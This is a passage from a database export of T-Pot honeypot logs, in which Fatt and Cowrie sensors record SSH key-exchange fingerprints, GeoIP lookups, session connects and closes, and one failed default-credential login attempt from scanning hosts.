96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 57066, "dest_port": 22, "timestamp": "2021-09-20T11:06:26.246964", "@timestamp": "2021-09-20T11:06:26.246Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21896	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:26.370505+03	2021-09-20 14:15:04.237614+03	{"_id": "YwXiAnwBvYTbRNuEwP4T", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 58876, "timestamp": "2021-09-20T11:06:26.370505", "@timestamp": "2021-09-20T11:06:26.370Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21897	115.72.130.93	109.199.241.180	Fatt	2021-09-20 14:06:26.439332+03	2021-09-20 14:15:04.238612+03	{"_id": "ZAXiAnwBvYTbRNuEwP4T", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 57202, "dest_port": 22, "timestamp": "2021-09-20T11:06:26.439332", "@timestamp": "2021-09-20T11:06:26.439Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21910	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:06:26.492467+03	2021-09-20 14:15:04.254614+03	{"_id": "cwXiAnwBvYTbRNuEwP4Z", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.session.closed", "message": "Connection lost after 7 seconds", "session": "6bd485b75f89", "@version": "1", "duration": 7.866534471511841, "timestamp": "2021-09-20T11:06:26.492467Z", "@timestamp": "2021-09-20T11:06:26.492Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
21898	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:26.506455+03	2021-09-20 14:15:04.239613+03	{"_id": "ZQXiAnwBvYTbRNuEwP4T", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 60262, "timestamp": "2021-09-20T11:06:26.506455", "@timestamp": "2021-09-20T11:06:26.506Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21899	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:06:26.675378+03	2021-09-20 14:15:04.240612+03	{"_id": "ZgXiAnwBvYTbRNuEwP4T", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 58876, "dest_port": 22, "timestamp": "2021-09-20T11:06:26.675378", "@timestamp": "2021-09-20T11:06:26.675Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21900	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:26.501695+03	2021-09-20 14:15:04.241613+03	{"_id": "aQXiAnwBvYTbRNuEwP4Z", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:60262 (192.168.176.2:22) [session: 1d00d8c31a3b]", "session": "1d00d8c31a3b", "@version": "1", "protocol": "ssh", "src_port": 60262, "dest_port": 22, "timestamp": "2021-09-20T11:06:26.501695Z", "@timestamp": "2021-09-20T11:06:26.501Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
21901	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:06:26.827475+03	2021-09-20 14:15:04.242614+03	{"_id": "agXiAnwBvYTbRNuEwP4Z", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 115.72.130.93:54962 (192.168.176.2:22) [session: d4888ec67dea]", "session": "d4888ec67dea", "@version": "1", "protocol": "ssh", "src_port": 54962, "dest_port": 22, "timestamp": "2021-09-20T11:06:26.827475Z", "@timestamp": "2021-09-20T11:06:26.827Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
21902	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:26.889288+03	2021-09-20 14:15:04.244613+03	{"_id": "awXiAnwBvYTbRNuEwP4Z", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:7233 (192.168.176.2:22) [session: 7b9f95ac7c28]", "session": "7b9f95ac7c28", "@version": "1", "protocol": "ssh", "src_port": 7233, "dest_port": 22, "timestamp": "2021-09-20T11:06:26.889288Z", "@timestamp": "2021-09-20T11:06:26.889Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
21905	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:06:26.247738+03	2021-09-20 14:15:04.248613+03	{"_id": "bgXiAnwBvYTbRNuEwP4Z", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "fc3c7432252e", "@version": "1", "timestamp": "2021-09-20T11:06:26.247738Z", "@timestamp": "2021-09-20T11:06:26.247Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
21906	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:26.309643+03	2021-09-20 14:15:04.249613+03	{"_id": "bwXiAnwBvYTbRNuEwP4Z", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [admin/administrator] failed", "session": "129aae4c0a88", "@version": "1", "password": "administrator", "username": "admin", "timestamp": "2021-09-20T11:06:26.309643Z", "@timestamp": "2021-09-20T11:06:26.309Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
21907	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:26.368302+03	2021-09-20 14:15:04.250613+03	{"_id": "cAXiAnwBvYTbRNuEwP4Z", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "9354f792962c", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:26.368302Z", "@timestamp": "2021-09-20T11:06:26.368Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
21908	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 14:06:26.395832+03	2021-09-20 14:15:04.251614+03	{"_id": "cQXiAnwBvYTbRNuEwP4Z", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 6, "type": "Cowrie", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711", "src_ip": "223.241.247.214", "ttylog": "log/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0 seconds", "session": "93a2eacc7d8b", "@version": "1", "duration": 0.5727760791778564, "duplicate": true, "timestamp": "2021-09-20T11:06:26.395832Z", "@timestamp": "2021-09-20T11:06:26.395Z", 